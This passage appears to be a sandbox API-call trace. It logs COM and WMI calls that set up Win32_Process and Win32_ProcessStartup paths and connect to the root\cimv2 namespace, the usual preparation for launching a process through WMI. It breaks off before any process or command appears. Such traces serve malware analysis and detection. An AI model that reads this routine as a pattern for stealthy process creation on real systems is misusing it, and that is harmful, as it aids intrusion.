WbemDefPath:IUnknown:Release (This=0x1aa0a410) returned 0x1 [0162.375] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0162.375] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0162.375] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a410, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1aa0a410) returned 0x0 [0162.375] WbemDefPath:IUnknown:AddRef (This=0x1aa0a410) returned 0x3 [0162.375] WbemDefPath:IUnknown:Release (This=0x1aa0a410) returned 0x2 [0162.375] WbemDefPath:IWbemPath:SetText (This=0x1aa0a410, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0162.375] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a410, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0162.375] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a410, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0162.375] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a410, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0162.375] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0a410, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0162.375] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a410, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0162.375] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0a410, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0162.375] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0162.376] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0162.376] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0162.376] IUnknown:Release (This=0x1a943398) returned 0x1 [0162.378] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bce5ce0) returned 0x0 [0162.378] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce5ce0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0162.378] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce5ce0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1aa0a710) returned 0x0 [0162.378] WbemDefPath:IUnknown:Release (This=0x1bce5ce0) returned 0x0 [0162.378] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a710, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1aa0a710) returned 0x0 [0162.378] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a710, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0162.379] WbemDefPath:IUnknown:AddRef (This=0x1aa0a710) returned 0x3 [0162.379] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a710, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0162.379] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a710, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0162.379] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a710, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bce6680) returned 0x0 [0162.379] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce6680, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0162.379] WbemDefPath:IUnknown:Release (This=0x1bce6680) returned 0x3 [0162.379] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0162.379] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0162.379] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a710, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0162.379] WbemDefPath:IUnknown:Release (This=0x1aa0a710) returned 0x2 [0162.379] WbemDefPath:IUnknown:Release (This=0x1aa0a710) returned 0x1 [0162.379] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0162.379] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0162.379] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a710, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1aa0a710) returned 0x0 [0162.379] WbemDefPath:IUnknown:AddRef (This=0x1aa0a710) returned 0x3 [0162.380] WbemDefPath:IUnknown:Release (This=0x1aa0a710) returned 0x2 [0162.380] WbemDefPath:IWbemPath:SetText (This=0x1aa0a710, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0162.380] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a710, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0162.380] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a710, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0162.380] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a710, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0162.380] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0a710, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0162.380] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a710, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0162.380] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0a710, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0162.380] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a710, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0162.380] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0162.380] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0162.380] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.380] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0162.380] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0162.380] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0162.380] IUnknown:Release (This=0x1a943398) returned 0x1 [0162.382] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bce5c00) returned 0x0 [0162.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce5c00, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0162.383] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce5c00, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1aa0a590) returned 0x0 [0162.383] WbemDefPath:IUnknown:Release (This=0x1bce5c00) returned 0x0 [0162.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a590, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1aa0a590) returned 0x0 [0162.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a590, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0162.383] WbemDefPath:IUnknown:AddRef (This=0x1aa0a590) returned 0x3 [0162.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a590, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0162.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a590, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0162.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a590, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bce5a60) returned 0x0 [0162.383] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce5a60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0162.383] WbemDefPath:IUnknown:Release (This=0x1bce5a60) returned 0x3 [0162.383] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0162.384] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0162.384] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a590, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0162.384] WbemDefPath:IUnknown:Release (This=0x1aa0a590) returned 0x2 [0162.384] WbemDefPath:IUnknown:Release (This=0x1aa0a590) returned 0x1 [0162.384] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0162.384] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0162.384] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a590, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1aa0a590) returned 0x0 [0162.384] WbemDefPath:IUnknown:AddRef (This=0x1aa0a590) returned 0x3 [0162.384] WbemDefPath:IUnknown:Release (This=0x1aa0a590) returned 0x2 [0162.384] WbemDefPath:IWbemPath:SetText (This=0x1aa0a590, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0162.384] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a590, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0162.384] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a590, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0162.384] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a590, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.384] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0162.384] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0162.384] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0162.384] IUnknown:Release (This=0x1a943398) returned 0x1 [0162.385] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bce69a0) returned 0x0 [0162.386] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce69a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0162.386] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bce69a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bce6880) returned 0x0 [0162.386] WbemLocator:IUnknown:Release (This=0x1bce69a0) returned 0x0 [0162.386] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6880, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bce6880) returned 0x0 [0162.386] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6880, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0162.386] WbemLocator:IUnknown:AddRef (This=0x1bce6880) returned 0x3 [0162.386] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6880, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0162.386] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6880, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0162.386] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6880, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0162.386] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0162.387] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0162.387] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6880, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0162.387] WbemLocator:IUnknown:Release (This=0x1bce6880) returned 0x2 [0162.387] WbemLocator:IUnknown:Release (This=0x1bce6880) returned 0x1 [0162.387] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0162.387] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0162.387] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6880, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bce6880) returned 0x0 [0162.387] WbemLocator:IUnknown:AddRef (This=0x1bce6880) returned 0x3 [0162.387] WbemLocator:IUnknown:Release (This=0x1bce6880) returned 0x2 [0162.387] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a590, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0162.387] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a590, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0162.387] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a590, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.387] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bce68e0) returned 0x0 [0162.387] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bce68e0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bb81710) returned 0x0 [0162.626] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81710, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bbde300) returned 0x0 [0162.626] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbde300, pProxy=0x1bb81710, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0162.627] WbemLocator:IUnknown:Release (This=0x1bbde300) returned 0x1 [0162.627] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81710, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bbde340) returned 0x0 [0162.627] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81710, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bbde300) returned 0x0 [0162.627] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbde300, pProxy=0x1bb81710, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0162.627] WbemLocator:IUnknown:Release (This=0x1bbde300) returned 0x2 [0162.627] WbemLocator:IUnknown:Release (This=0x1bbde340) returned 0x1 [0162.627] CoTaskMemFree (pv=0x1bc1a0d0) [0162.627] WbemLocator:IUnknown:AddRef (This=0x1bb81710) returned 0x2 [0162.627] WbemLocator:IUnknown:Release (This=0x1bce68e0) returned 0x0 [0162.628] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0162.628] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0162.628] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81710, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, 